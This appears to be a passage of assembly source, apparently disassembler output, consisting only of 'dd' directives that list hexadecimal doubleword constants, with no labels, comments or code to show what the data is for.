dd 0C0E64E9Ah, 3925AF21h, 0EFECD77h, 155EB209h, 76900169h
dd 44CC502Ah, 0F340000Ah, 0C9FFE555h, 149EA8A6h, 5DF46D80h
dd 0A4EF74h, 0BA785C0Ch, 6A92B02Eh, 0D0196B04h, 0BCE8CD66h
dd 0D650AE80h, 0D87E02D5h, 8065363Bh, 48AFE268h, 0B6845F98h
dd 0B7AE4008h, 3701323Ch, 86A18AB9h, 0ECEAA0BBh, 76930B10h
dd 0F41C612Dh, 0B7C4BC85h, 0C1EB6260h, 7078931Fh, 0F07EF580h
dd 5F7F0D64h, 4C4C08AAh, 0B8CAAF80h, 0C0B408h, 2DB5B019h
dd 3D3E21C7h, 98B3C1FCh, 6826978h, 5C13197Eh, 0BD08E0FBh
dd 967F1D6h, 40592AE1h, 2F187A71h, 42087B00h, 0C4549F38h
dd 960C74ABh, 0F9DE8620h, 3A0E518Ch, 0E7806B51h, 7D002FC3h
dd 0FBFAC8h, 0BB5500Ah, 0BD783390h, 9891855Fh, 476EF848h
dd 0E28314B0h, 0A0CA298Ah, 0DC18FCh, 3CBDD4ADh, 89D36F11h
dd 0D5355E16h, 98FCA085h, 464385BCh, 3409EF04h, 25A8BCB4h
dd 7A0646Dh, 43A416F6h, 0FA6AB0E1h, 0C101FB40h, 0BAC309E4h
dd 0B6E0609Fh, 0F53C1E8Fh, 2F2953B3h, 4B7A1064h, 9AB918C0h
dd 8B0229D0h, 4AF7817h, 26B058ECh, 416C84F1h, 0E022DC6Ah
dd 0F91D1BCAh, 0F971BD68h, 0E8225431h, 0DE2D3A00h, 0AFFE5B0Ah
dd 13F06C0Ah, 8611B430h, 93515F00h, 0F91FA6A0h, 8D3FA701h
dd 8202A9C1h, 0EE84B980h, 1C3C2B18h, 0A4499500h, 0BE0F9A99h
dd 5EA63D1Fh, 0CC4F79BAh, 0AD0BFAC0h, 1D9F7C19h, 80F91198h
dd 570F0584h, 2AED01DFh, 0D68AA69h, 419064E7h, 8ECDE104h
dd 34C43461h, 9EB890EDh, 8DE35B00h, 0F352BE2Ah, 0C090B596h
dd 2D246E9Bh, 8425C88h, 54D06A4Ch, 9E465C98h, 5C490D00h
dd 6CE1EE22h, 0A2BF5F00h, 3FD751DFh, 0D84095B4h, 0CEE40BC0h
dd 0B57E2802h, 5222DEE0h, 1109C2Ch, 0A62C8CC3h, 3BC80BECh
dd 0E88D9DC3h, 5EF8A9FBh, 4CC4887Bh, 0E84ACE00h, 6AAA1E36h
dd 9DAF001Bh, 52F3D545h, 62136895h, 28C85A3Eh, 40031022h
dd 80375EF9h, 6AC80BC2h, 179CFCB4h, 0C9A004C0h, 0A0D4F769h
dd 54579B4h, 8DD85690h, 3110F4CAh, 50373525h, 18C6FCFCh
dd 68729967h, 9CA894F9h, 1B0AB401h, 1CC98CC0h, 0A7E3AF05h
dd 0A2046CE9h, 0C3E2B049h, 0C0EC4F69h, 6AF99EB1h, 3D38F51Dh
dd 0A76C1967h, 2E01AC72h, 256E3C7Ch, 0CEFC2441h, 2D3D6A09h
dd 0E30087A8h, 0A4B88A75h, 12FB009Eh, 0A02D0B9Fh, 2CB6CE29h
dd 0DE500900h, 9E33AF0h, 6414A1B3h, 0E4C694A9h, 9740B8B4h
dd 4AA262h, 0B6FFF2A8h, 3ECD5B28h, 65F3E902h, 54C85575h
dd 5CBCC84Ch, 6E003D46h, 0DAA09D67h, 0C21223B3h, 3890F92Bh
dd 4A5AC548h, 2DEB8FCh, 2F5607C6h, 303555ECh, 65335C80h
dd 79116C2Ch, 3FFC0E4Dh, 0F1844408h, 0A2BCF3B0h, 0C6E330F6h
dd 64C580BCh, 7F4A8E81h, 3670302Ah, 0F74CE9AEh, 0B43E0128h
dd 3FE4BBF6h, 2846D4E0h, 2CCF9A2h, 6B741536h, 0DC90E33Bh
dd 991242CCh, 0D41C535Ah, 9581FCD8h, 80F50098h, 482A1BF7h
dd 55EEE92Fh, 0FB0A21ECh, 84183E74h, 10B28993h, 0F0337BF2h
dd 7936B3B2h, 34FB5A83h, 88848E58h, 576FC07Dh, 0DB00737Fh
dd 0A80BE69Fh, 6AEB31h, 43711162h, 0E8440581h, 125402BDh
dd 2C35550Ch, 5482B711h, 0E84077BEh, 0F0768420h, 4C655C00h
dd 854F1537h, 74D0BC9Bh, 4A01FA46h, 0B7408D3Dh, 0D0027A17h
dd 0E2FF3564h, 0DE1C7CC8h, 0F83E1501h, 907889Ah, 46163C36h
dd 88108BE5h, 9E16C0A3h, 0C5167709h, 0C42035FFh, 0F28921B9h
dd 288E00D1h, 3C6E6737h, 0DE169FB6h, 9CC8B7BEh, 0EFF00097h
dd 761535D1h, 0A195416Bh, 0B1D6E6B4h, 0E950C82Ah, 0A44CD200h
dd 225DC5A0h, 0D94600F8h, 8E73D6FDh, 0DE12C62Dh, 0A4B88BC4h
dd 0D8636A80h, 0F21F21A7h, 0BC3AEC57h, 0E58200D2h, 6D769E23h
dd 0E0E89C78h, 0D72EBD19h, 0DFDD4838h, 5C910437h, 0BC214C90h
dd 2E4E7868h, 0F9232Ch, 0C22ECE95h, 0AC04ECC7h, 19DE4A0Ch
dd 6209C4FDh, 18A05BC8h
dd 9A07356Ah, 3A7D4Ah, 0C04B7D10h, 3BA0C5DBh, 1DB30FEBh
dd 34419347h, 2A963178h, 8E8C7C08h, 0B180BA71h, 1757D04h
dd 0DC171290h, 7C8C2FD7h, 509795CAh, 0AC8F7B91h, 7CF2A7E0h
dd 0B7052819h, 5E86966Fh, 3A0AE8F0h, 0C23C4282h, 3626BD01h
dd 36E46947h, 0A0A92508h, 0B3968F40h, 98D03E4Fh, 528CC601h
dd 207F75ADh, 68250B0Bh, 0A850C3DEh, 27D9A835h, 0C417A792h
dd 604B7988h, 457DB11Fh, 0C642FA02h, 8295CD7Fh, 0F39B7B84h
dd 0AE987878h, 0C636EA00h, 0CC031956h, 0EBB0C9F2h, 0B5F3F002h
dd 0E49D803Dh, 130DC4EDh, 852A1839h, 9DFC596h, 2FD128D0h
dd 58CE3AE1h, 99024E98h, 0C9017671h, 688DD9CFh, 22803C88h
dd 0FBCDB645h, 9129748h, 5CE8FAFFh, 0D12D9087h, 526B0ADEh
dd 8C72A998h, 87CB7539h, 8BED1EC9h, 64BEC0CFh, 7EDF271Dh
dd 1559E02Fh, 0E849A7EEh, 0FC553D00h, 8F33AD7h, 69BD431Eh
dd 0CF81F201h, 67C63B66h, 670144A0h, 0E30D6971h, 0DC94C2E2h
dd 781A40B4h, 2F00426Ch, 0FBDE611h, 2EB3D58h, 84135B9Fh
dd 3C416A2Ah, 5A3B00C1h, 80ED4A80h, 7E31804h, 0C817AC94h
dd 13C550B0h, 91792D67h, 3F2A1CC4h, 0B423883Bh, 4FD69E00h
dd 9FD00322h, 0DCF63C80h, 0BF0507FCh, 0FBDB1851h, 2D0BF4ACh
dd 0A0C4E4AFh, 91C5478h, 81C06B47h, 85A5B1D3h, 5F4A2733h
dd 8B7BD0A0h, 7002BF9Bh, 0B341BADEh, 7AE8833Eh, 0F382D207h
dd 89FB703Ch, 0C1C070Bh, 24E4DA52h, 98DCB793h, 0ADF0E1B0h
dd 0B3F1B200h, 0C5052304h, 762607D4h, 108C0A93h, 0DB0BA843h
dd 0B05C6F20h, 0A735178Ch, 0E4D0B4B8h, 3CB2E207h, 0C00F7F71h
dd 0C18FF1CAh, 2CEB032Bh, 934C0CC6h, 73721100h, 6206C77Fh
dd 11FF0E9Ch, 0D89C9E7Ah, 6B5520C6h, 2C087F00h, 0B6E21DEh
dd 0A02A38E1h, 43CCD480h, 0D032E67Ch, 0B080E703h, 423D347Fh
dd 7EE23470h, 0EF7530h, 4BF85976h, 0BB48F82h, 9F7CBF18h
dd 7ABD0h, 0F1DEF49Bh, 563F0509h, 4116DC00h, 2C42974Bh
dd 0D8BF06A8h, 5963B232h, 0D6A5A306h, 189DA8Dh, 0C86BC092h
dd 0E133FB90h, 43D7000Bh, 0C121C0CEh, 2CD26B06h, 0AE102A60h
dd 0E8829807h, 786E8FFh, 487C2070h, 0B2E0210Ah, 96188040h
dd 9236CBD4h, 0FDD03076h, 398B2B48h, 6303F970h, 6A3E1A4Dh
dd 9C083055h, 0F9412A21h, 2DBC980Bh, 60060FBBh, 5DA7B0F3h
dd 31A4A009h, 28381C60h, 2191F0AAh, 3F0BBDF9h, 0C9F67AFh
dd 0C03D8188h, 0BD017C21h, 640717A6h, 0AEBA9073h, 232F2460h
dd 0D844F3E7h, 76969C02h, 0C1B4015Dh, 653007B3h, 0A139DA1h
dd 0FF94BB62h, 909500BCh, 3A39CED1h, 0A3F19700h, 0F0C5D67Dh
dd 46A940CFh, 3B56CB40h, 5860AA0Ch, 0A87D6920h, 18ED3A00h
dd 0D451F30Ah, 3ECE2A48h, 0D98B03B4h, 0C8B177D0h, 38BF3A98h
dd 3B607674h, 0D322FD21h, 787A001Bh, 88A03356h, 980655C9h
dd 3C428CCBh, 6A5D0729h, 0C0B04ED3h, 82A44708h, 0D2D7B8C4h
dd 0A4EA4097h, 60ABDA88h, 0AF39BD07h, 9198F721h, 0F060019h
dd 0D75413BDh, 0EEC4F8C1h, 0FDCABECh, 1BAFF1EEh, 0D05F3FE0h
dd 2092C412h, 7D246174h, 11803891h, 6FC070E8h, 945F242Fh
dd 940E118Ch, 6C51DD3h, 5370C064h, 0C97F0069h, 58E34F6Ch
dd 6B184099h, 50418143h, 94DA07BEh, 43E77C4Ch, 62E0305Fh
dd 0B0003CABh, 24B95E56h, 0E198BBh, 2F25EB32h, 0C6D5A7BDh
dd 92F1CB01h, 40DB4155h, 30BC6BCCh, 958C5D9h, 9D48C0BFh
dd 0DFC88EBCh, 0E89FF180h, 1810DC06h, 20EB7C93h, 8414CF2Ah
dd 0F7200F71h, 2D60FFA4h, 84AC02C6h, 0D97E4DB0h, 30845256h
dd 6D572187h, 2472987Fh, 3B009B0Fh, 6C033E21h, 0E6E043A3h
dd 20D4658h, 6DA7F74h, 3C674Ah, 0A7F6C58h, 0BF002F80h
dd 3731F9FEh, 60CE99E5h, 4336612Ah, 0CD130C40h, 86009753h
dd 0E076A77h, 4DF5040Fh, 8816E96Bh, 0BC60C4C0h, 52F32B39h
dd 119C60CFh, 122527A2h, 5B2B2CA1h, 65428304h, 487E3Bh
dd 0BC0970B9h, 449FA5CFh, 52D6300h, 0E943E1C8h, 18FE5Eh
dd 0CEAE6072h, 36F2A7BBh, 692D9800h, 8DB71AB9h, 3CE828E1h
dd 45CE0091h, 71A21B75h, 0AA00132Dh, 0B9FD620Fh, 7DAF26C8h
dd 0AB793FA8h, 0F3213480h, 38814F8Eh, 0D3CEB207h, 7B903CEAh
dd 0BD302Dh, 0B99197ACh, 7539E0F0h, 0A455691Dh, 847196C0h
dd 9DC28Bh, 78CC26C9h, 600A7C30h, 0D366CB00h, 80E6E423h
dd 0A2D0004Eh, 34CA5362h, 0E0377BAh, 3DD7D2B1h, 0D4EAE0ABh
dd 291F37C1h, 3EAA9088h, 123F6656h, 9957000Bh, 0AD8A6A8h
dd 0C1BF0026h, 87563967h, 54003DF2h, 7B3A0C88h, 0A601ACh
dd 5EB4E669h, 213BCFCAh, 1FC04100h, 0E10EDDC6h, 6847129Bh
dd 910D000Ch, 66EBE3A4h, 0FF5A70E3h, 0D14D4600h, 0EE5B2A6Dh
dd 0E50E1215h, 8A304721h, 990510FDh, 55FCFAF5h, 3E951900h
dd 0EDAD4A0Bh, 21A600FFh, 0AB45C783h, 6100CDC2h, 6E509307h
dd 0F2D1CE7h, 0A5ADD6F3h, 9908863h, 69B3E4D0h, 608F3803h
dd 0E9F0E180h, 48E6C146h, 3F50C10h, 5118BB56h, 0C3B81B5Eh
dd 700A3ECh, 0B8107FF3h, 0EB11460h, 0B65B4D87h, 0E2F55720h
dd 4200C8D2h, 0BB300D0Fh, 0E2B1F3EEh, 8C98001Ch, 33D5012h
dd 1B004D3Fh, 0AEE2C21Fh, 7217F92h, 4E3882F7h, 221DC0D8h
dd 200060BFh, 24467AADh, 7E8E0Fh, 0E677DCF1h, 210D7386h
dd 2C0090F8h, 9731C001h, 4B2E7Ah, 0F7D7BF76h, 0D46B8A9Dh
dd 51DA1800h, 7E26BBE3h, 2FAE0922h, 84204667h, 0CA7D5005h
dd 876AFF00h, 54665559h, 9771001Ch, 0B7400F22h, 0E300AE11h
dd 0CC76D362h, 0DB7426h, 2C647D0Eh, 2E2AB3CBh, 0B2018874h
dd 989323B6h, 3330BC60h, 0D971F0h, 0F87C9F58h, 0EF120146h
dd 19384B73h, 0F4A9A86Bh, 1099622h, 69F72086h, 0DCE5190Bh
dd 0F60205CDh, 76B3B45h, 337E607Ch, 8D485036h, 189D3F25h
dd 831700F8h, 26785BA3h, 0ACFC0B8Dh, 7FF2CB00h, 0D58A16C4h
dd 27450060h, 69CC4201h, 0E0169504h, 0CE02B559h, 43A74AD8h
dd 7BECE820h, 11AF07A2h, 0C49392F6h, 0EE6C800Bh, 0D52E956Ch
dd 0B2007487h, 0F49875C3h, 0F0AC00A5h, 964EB0B4h, 4D000ED9h
dd 1DFFCEF3h, 7FB77Ch, 0F25B45DFh, 418CC373h, 0EAFE6100h
dd 65134C6Bh, 335C066Ah, 44CF18E7h, 0B6694D16h, 21677C20h
dd 0F27100FCh, 523FE4D8h, 4D00BA6Fh, 75FA40B0h, 7DF957h
dd 7890D019h, 9C327145h, 68F6F201h, 2BCD0955h, 77CCE1C5h
dd 64FC489Dh, 0D6C3380Eh, 55198AA0h, 0BC00BA73h, 1D1068A0h
dd 3C91F4h, 6709794Ch, 0D79C0BDDh, 68F95200h, 26B9A605h
dd 97D20134h, 9AEE778Bh, 4BFFDC86h, 23E97C0Eh, 760B244Fh
dd 4E37C980h, 660A007Bh, 955013C8h, 750004BEh, 0DED86AA8h
dd 0EECE698h, 0AAD8AA5h, 2ADB67E0h, 0FF4F4516h, 931B6CBCh
dd 889028B6h, 0C20E541Fh, 4047FD25h, 0A802DC76h, 0A4371243h
dd 5B3880EAh, 8000D64Fh, 6A302777h, 0E2AA91FEh, 0EE8D0024h
dd 1571D3B7h, 0A90051D6h, 9A89F738h, 60A137h, 5464B91Ch
dd 6585E5FCh, 3F00E9B0h, 623B8AE0h, 0E772A9Dh, 0F96F514Eh
dd 0D3018D07h, 0F0C8FC20h, 0D1007498h, 65D73D29h, 6987D8h
dd 81B8F476h, 2BABAD41h, 80A88024h, 0B3E17100h, 699452h
dd 0DA5810FFh, 0F5E5533Dh, 3B491D90h, 0FC5D1284h, 98854C73h
dd 0A6B24h, 0E66E7DB7h, 65468AFCh, 0DA0E2300h, 2BC99C2Eh
dd 0B5DC012Fh, 2D0C7B3Dh
dd 8CC06092h, 6D622102h, 40F17430h, 0F8EDB90h, 0EB19A2C2h
dd 0AAC6B520h, 0F4002069h, 0B6811090h, 1C75AF7h, 0A2FD7522h
dd 0E3CFA791h, 342DD0E9h, 37716A00h, 98641326h, 82C08E94h
dd 80A5B502h, 0AF17C92h, 395C02F5h, 0C69EA625h, 26B87C60h
dd 2A00CDFCh, 9A42E504h, 1300F2Bh, 0D64983EDh, 0E3526088h
dd 4E73A3A8h, 80095A3Dh, 98F3F5B4h, 170438h, 7456FFD5h
dd 4C4E191Ch, 0F5D4760Eh, 82B6348h, 33949052h, 65970002h
dd 0EB92BEFFh, 110089EDh, 293A8CB8h, 7CDB0D5Dh, 0FFA91D9Ah
dd 24480384h, 0FC0C2E13h, 0F0803D92h, 0CF7C90E7h, 7D60D4F0h
dd 6032D2BEh, 0C8E9700h, 4C1D0AFh, 0FC5313DAh, 7E110086h
dd 393E71DFh, 82BA2400h, 0B6CAB046h, 0F63F00AEh, 7850328Eh
dd 0B40026A5h, 698C2CB3h, 592EB94Fh, 0D30FD0BCh, 614083EBh
dd 663F7529h, 0DCA06300h, 876B1485h, 0F592000Bh, 5CCE4FAEh
dd 28011D6Dh, 0D91A88C7h, 7960C540h, 4F100B7h, 0E44460F0h
dd 900723Dh, 8E4E7FF4h, 0B999F56Bh, 25E500F0h, 0AF538C5Ch
dd 3472BF2Ch, 925DD804h, 313F5480h, 1819129Dh, 0FE7400D3h
dd 0D15C4F73h, 6BFB1A07h, 8A50BDBEh, 4CB95B9Dh, 0AF1FD065h
dd 80D752DDh, 0D5469264h, 1BCF85Dh, 61A6578h, 2D07D63h
dd 7C324893h, 2585620Fh, 11742006h, 0A50D20C3h, 0CF69C0CDh
dd 0F07206h, 0BF3FACABh, 0FA25684Eh, 0C8119901h, 340C9381h
dd 1F73BEF0h, 765D20Fh, 0A7A5A9F8h, 50559640h, 96B8BD1Ch
dd 980D79Fh, 0C7629E0Ah, 0E36E00AEh, 9FAFD540h, 7F50473Bh
dd 98C06C58h, 46B7630Ch, 540CA17Dh, 88B2E080h, 0C8D17276h
dd 0DAD2F600h, 4BB0B5Eh, 5C9F39E7h, 4334570Fh, 0FE3CAEC0h
dd 0B3755283h, 0BE3D3Fh, 17CB6BE1h, 2E663E0Bh, 0CB581Ch
dd 0FC7A320Dh, 5F1E3A62h, 0B55FFFA3h, 0FBC62C04h, 5E01CCA3h
dd 7A06DC7Fh, 0C0850C9Eh, 7F765221h, 0AF005714h, 0E67D23CCh
dd 8A964C32h, 8385CC04h, 62B0731Bh, 2A4FCF14h, 0A3BC0400h
dd 32E183h, 587602F3h, 4C2DDCD1h, 0C90DC41Eh, 6003CBC3h
dd 0ACE3D438h, 3CBD0470h, 32980FAFh, 87B2032h, 0DB00FBBDh
dd 73BAC11h, 125E17DEh, 90782AA4h, 0E64138D0h, 634E3678h
dd 3323382Eh, 0EFFBE700h, 0A0FAC14Eh, 6C8FFCDCh, 3550D88Bh
dd 98719227h, 7EF93A30h, 7F5546F3h, 0F942888Bh, 208B001Bh
dd 9A14A23Fh, 5775E540h, 5DD0E80Fh, 82C0997h, 5400B0D3h
dd 0D4503AD1h, 60D49C47h, 0B174D0C0h, 91766021h, 21F20045h
dd 253174D3h, 0BC1D1C1Bh, 5266C005h, 7338CF6Ah, 44C6835Fh
dd 742BF8C8h, 998A855h, 3A600247h, 34BA3CB2h, 40E5A087h
dd 2EFBF80Bh, 3A168F38h, 86786DCh, 39984Ch, 0E03E4D30h
dd 0C4FBB104h, 0A8C5451Ch, 1E753B8Fh, 9C62BC4h, 7A703898h
dd 6A06107Fh, 6854B09Ch, 638F007Fh, 47B2B95Ch, 6B502AA6h
dd 93106154h, 90408BC8h, 5C609C2Ch, 81C67B21h, 7C1634B0h
dd 0A145E022h, 41954230h, 28DC94E3h, 6F4A969h, 0C48F08DBh
dd 0F9717080h, 0AE7B0512h, 8CB0453h, 94C03388h, 0E6C695h
dd 0D141DFCBh, 1FFFE10Eh, 20408E27h, 9DA7B62Ch, 0F1CA022Fh
dd 1DCEB70Dh, 98447884h, 0D008C508h, 0C428B173h, 2EF94032h
dd 49983D3h, 0DA9C3178h, 8800CEADh, 42C8C088h, 0D649D0E5h
dd 20A60368h, 0A0B8E853h, 410E39Ch, 0E7BCD4E1h, 0A0608372h
dd 2130B680h, 4C8B690Ch, 4DD7C0F5h, 43301C09h, 473DEB49h
dd 0A940D400h, 58232D8h, 0B03A5053h, 0C94F66C9h, 9900B8A6h
dd 0FEE4FF42h, 2349EEh, 90D8E94Dh, 8C4B4E64h, 0A02A8700h
dd 0A7B9749Ch, 0AB8B601h, 6C03CC2h, 51EABF8Fh, 0D86E3815h
dd 0B70B04B0h, 0B50AEC24h, 39A966BCh, 932B921Fh, 0A0798B45h
dd 32E5900Fh, 97511882h, 804C91C8h, 0AA9816FDh, 73F8A8C3h
dd 0F19CCC0Eh, 70724CAEh, 36DC6C0Ah, 7400843Bh, 0BA8F5C37h
dd 48D460C1h, 202C0E90h, 8029A9C8h, 0DFE03CD2h, 7902DA76h
dd 0B324B8B1h, 80AC88B7h, 8AA54508h, 80C0F2D0h, 3E5E98F4h
dd 0CF6876EAh, 46746C60h, 77BD0040h, 0D4651DA1h, 970B0AB0h
dd 2ACD0A4h, 21E87FB7h, 20BAD700h, 4860B051h, 85CE783Fh
dd 386CD1F8h, 11B09D82h, 0C5548135h, 6030E51Ah, 14B976E8h
dd 3C2C0D0Ah, 0E8B22A88h, 0D0D33042h, 38B15912h, 0C4CCA839h
dd 0FF6000D0h, 0B0DDBEA7h, 16494C0Fh, 0E2453D4h, 238CDB4Ah
dd 0E106C5DAh, 1880E9B8h, 0D5726A5Fh, 9F4CF9E5h, 8A4B16F8h
dd 0C629001h, 0F84049C3h, 0FD45B45Fh, 0CEB9A068h, 1B44830h
dd 911722CCh, 80E17092h, 2752BF78h, 5264EC49h, 4B0098A9h
dd 5F340B37h, 84000F13h, 0FB6A1172h, 70581Fh, 0C8A4F462h
dd 0F87ECF88h, 0E482090h, 4C2ED310h, 1E004123h, 6D6FF8E8h
dd 0DCD20103h, 3CD94CC8h, 92607CD5h, 0E2F98800h, 0FC910289h
dd 830C0FCh, 0FD5CDCC4h, 7458CF02h, 9011E9C8h, 35AB16E4h
dd 440619Bh, 241469Ch, 8FFF65CEh, 0D2805158h, 10B15ED0h
dd 0F847448Ch, 95D0DB00h, 0D8E12175h, 0E5F40CA4h, 63599CE6h
dd 321429C0h, 74ED6B3Ch, 1B462C9Dh, 0DC782648h, 3E0AD702h
dd 408F64DCh, 0B821581Ch, 418E78Ch, 0AF40BD04h, 7F2C9F6Fh
dd 83BD0C07h, 406FEC1Bh, 10610AFCh, 0D11A008Bh, 0D03EFE38h
dd 30B2D9E8h, 69DC3040h, 78AB413Fh, 0BDF29430h, 0FFAF3A11h
dd 100E29Fh, 1897BDFAh, 2EA4A029h, 17B87E40h, 3F8C606Ch
dd 6321FAF9h, 4738C01Dh, 602CCF9h, 0E38BF07Bh, 0F762DF09h
dd 50295C81h, 0A994528Eh, 0ED099864h, 3C9D3E9h, 8126CC99h
dd 0C5C5AA93h, 407CC820h, 90F66B3Dh, 905C8D40h, 0C4E0C88Ch
dd 3BBD05C0h, 2C074AAFh, 0D077804h, 0DFE2F7BDh, 0ED91C290h
dd 5AE41063h, 72200198h, 39BB8F34h, 0BD026432h, 9FC4B709h
dd 6880F84Ah, 33135F1h, 4C317672h, 6D8ED18Bh, 1842EF4h
dd 1DCD479Ah, 0E4CB2A63h, 2BFCFB74h, 11DC1795h, 7D37807Bh
dd 16EEA1Eh, 625F0BABh, 24304AE4h, 9888315Ch, 0CB6E00C2h
dd 0ACA8DA02h, 9F0C4254h, 0B8EDC88Ah, 0E86F12D9h, 820B419h
dd 7F5F028Ch, 9E0206D3h, 51804465h, 0B99C7F77h, 18F10247h
dd 9B989290h, 11D41A00h, 0DCB004ECh, 92D26031h, 4100EE78h
dd 9078E32Ch, 312706E4h, 7907BEC5h, 6A923512h, 0F93D2C60h
dd 2D632304h, 379EF11h, 2E80F945h, 1C17799h, 0F3D876B9h
dd 0B50E9802h, 71481D35h, 4098A4E9h, 12CF6E97h, 0A8200A2Ch
dd 0E40C4549h, 70576085h, 0F82504FCh, 84CB46C6h, 12ECCC24h
dd 0B4185007h, 1B20E8FFh, 90F88387h, 85C82494h, 69946070h
dd 23173061h, 0F43A5395h, 24098623h, 0C0C86D3Ah, 0E3D26E7Ah
dd 4200F379h, 97664448h, 49A98F53h, 0B0043C21h, 8426B9A7h
dd 40FD862Ch, 0FF74D094h, 3573EA18h, 0A4B0AB78h, 1F895720h
dd 0CAC4B93Ch, 0A5C8906Bh, 87C40465h, 0D1BFBC60h, 65F65400h
dd 8DD8D707h, 3FFA2CDDh, 0A85341D0h, 16D0E086h, 5664115Dh
dd 7235F230h, 807F0AECh, 47FC16E9h, 839CEACEh, 5A0B21F3h
dd 47F174C0h, 410B75F0h, 84D5F69Ah, 44C7E274h, 2A453D94h
dd 0B00E462h, 86584713h, 5E04842h, 4790CAE3h, 60304488h
dd 2CFC038h, 0FD6125D9h, 28E4A6DFh, 0BC7A5500h, 21E27CC9h
dd 0AD58001Bh, 0A920379Bh, 6502E0D1h, 7DF5082Dh, 0E4C8C556h
dd 77A86141h, 99CF3BC0h, 44C30764h, 0C6E01E4Ch, 9FCE7287h
dd 17F96B25h, 80419160h
dd 507860EFh, 0E3AE2A13h, 4D7110A4h, 0A1A853C6h, 0A40CC679h
dd 68199B90h, 8FE45FE7h, 944C1433h, 58CE1B8h, 0CB22EF0Dh
dd 1CA0C00Eh, 801D9FFh, 0D66A5D86h, 9FF83430h, 67C413AEh
dd 0CAA40075h, 5CB68508h, 48468F18h, 646B2AF1h, 0C8A9C98Ah
dd 69000568h, 0DD685DC2h, 48A715B1h, 3202144Dh, 0CE6114C7h
dd 7BAB2081h, 0B2EA80CDh, 0B146947Ch, 0CA4A003Fh, 511BADDEh
dd 5F4BFD82h, 0B7776003h, 0D2C20E94h, 24825BC0h, 0D843821Bh
dd 0D0ECE0BCh, 89CE157Bh, 8193A640h, 34E07C20h, 8E484EB7h
dd 0C12C8814h, 0D25DF6C5h, 0F9E134C0h, 51B6E531h, 9FDC1AC4h
dd 9C1027AAh, 33190022h, 53FE0200h, 28660421h, 9843D450h
dd 0D004DC28h, 77C0B170h, 0FE80C4F2h, 63A7D32Dh, 50F08E00h
dd 0AE806C29h, 913F37B4h, 42A680D8h, 0A13C83C4h, 230976D8h
dd 0D1F9D93Eh, 187C79D8h, 0A585075Eh, 0C21D7165h, 0DCC7ABB6h
dd 18C18842h, 0B90C3F35h, 1990572Ah, 0AB160C99h, 0D0B894C3h
dd 80180C48h, 0F151B95Fh, 4FCCB624h, 86B83C94h, 73D7098Ch
dd 74D0B493h, 51848230h, 0B7DFB1h, 0E22EEA61h, 7A0C4A66h
dd 0BF54440Eh, 70049702h, 7401916Ah, 503C07B1h, 70BF0DE0h
dd 504D68BAh, 49B838h, 0C57C2D39h, 0CE02421Ah, 6C8F049Ch
dd 0E01861F2h, 0B1D47B7Dh, 40B1D6FEh, 0E1D208E0h, 1B5A5D0Bh
dd 8723802Fh, 0A6751C00h, 140ED2BFh, 0AC51F2FCh, 23BC2F4Ah
dd 38C71A4Eh, 4D6AC081h, 0EDBCD0F8h, 93CA348h, 40C6E524h
dd 56BB810h, 5CBF09FFh, 0FA9C0C91h, 63E64DC8h, 0A4259528h
dd 80489A5Bh, 0F93CC16Bh, 3B45F901h, 3DB02Ch, 2852F944h
dd 29ED1EB2h, 0DB582102h, 0D30A506Fh, 0ADD98974h, 0BCC080CDh
dd 7EDC9239h, 0E4BA100Ah, 0CE2400F4h, 42630C94h, 10869D29h
dd 920059AAh, 7DB7B972h, 9BF1DEC9h, 0B20178F4h, 7C24E073h
dd 0B10F8CECh, 0A02961E5h, 7833469Bh, 3F251882h, 0A049C902h
dd 4E0C9CD8h, 2FAD07FFh, 509001D2h, 0CC3BAF73h, 5E96700Bh
dd 0E1F80027h, 0E1B708DAh, 5B297024h, 0BFE42069h, 4A808DD0h
dd 0EEDB00D1h, 0F0CD54E9h, 0C1F86A58h, 2E44B09Eh, 3DBDFB60h
dd 5857AF2Eh, 37A70h, 7C4182BDh, 3A44C49Ah, 97BBEC3Ah
dd 384371BCh, 0A4D31462h, 0BECA2880h, 0D6D228A7h, 0C4920EACh
dd 9E9226BFh, 4E9982E8h, 863C5EA9h, 21D0BEC4h, 1804252h
dd 570C9813h, 63F45E5Ah, 10D74D04h, 94BCFC09h, 39EAB8A6h
dd 0D4E7D01Ch, 0CC3F21D6h, 7DF88C7Fh, 2628B000h, 84BF06D1h
dd 0FCAF9FFFh, 0A19A8034h, 0DC3C76h, 75A87EBFh, 7097099Fh
dd 0E8D19C4Eh, 0A0202938h, 0D9250011h, 36D49FFAh, 24618DA6h
dd 86423818h, 0A46F92E4h, 0F940056Ch, 38256305h, 480731B8h
dd 10D03AF9h, 5F002A34h, 0C1096C1Bh, 0BCE8B829h, 0C3008F11h
dd 4523F08Ah, 8700B5D8h, 0D3F2F61Bh, 75F9163Eh, 2AC50C42h
dd 32D94C7Fh, 24AEABF0h, 0BEFE4A00h, 2FD5EFC4h, 6BC1FBFh
dd 0A1C080E3h, 0D3DFE904h, 6437584Ah, 9D94AF10h, 4CC82E64h
dd 80A5456Ch, 0C9BBB6A4h, 410E350Fh, 423A8668h, 5E3C0F09h
dd 7681DC06h, 8516E9C8h, 4BCE9299h, 2F3E1CA1h, 322394h
dd 53BBA1Fh, 0A6143EB8h, 2DC42731h, 8138B7E2h, 4F7312Dh
dd 3D507014h, 0AB83A40h, 45D45651h, 0D0C64028h, 304AB172h
dd 0FC01108Bh, 0B286D32Fh, 84A1C453h, 17567400h, 0E6793BC3h
dd 215F1632h, 88048B60h, 0E31BC033h, 1C16CBADh, 0CC045BA9h
dd 0C4028A32h, 7C475C2Dh, 18C18642h, 0C754ABC2h, 717CDCCCh
dd 356C3E00h, 0EEC13256h, 0AF68090Bh, 8C0234D5h, 0D7078C58h
dd 7D2C20D9h, 9EBF4Ah, 91A4F5EFh, 69A6149Bh, 77FF8100h
dd 674CB327h, 572AF5FAh, 0DC28CB68h, 84B400E3h, 0BFEA030h
dd 0F0209718h, 5CBDB588h, 0B38098AAh, 5CD11B15h, 0DC550604h
dd 90A032A2h, 964C0479h, 0E25EE35Fh, 0A0A60FFCh, 91B9A2E8h
dd 72CD8084h, 4F3206C4h, 23342F9Eh, 2A9F0086h, 4324D4FFh
dd 21CE5700h, 0C09538FEh, 209E5A1Dh, 0C9A7B700h, 90CD05FFh
dd 47BC407Ch, 5927008Ch, 851761DAh, 960741DBh, 97996C2Bh
dd 53023020h, 0DF6400D2h, 57FF6778h, 70A568DAh, 9B609CC4h
dd 0CC003598h, 660EA41Dh, 0A00FB7h, 5EF1CBC1h, 23542B67h
dd 0D4B46C92h, 86797A5Eh, 3101BA7Eh, 413C4FE8h, 0D9D8E9E0h
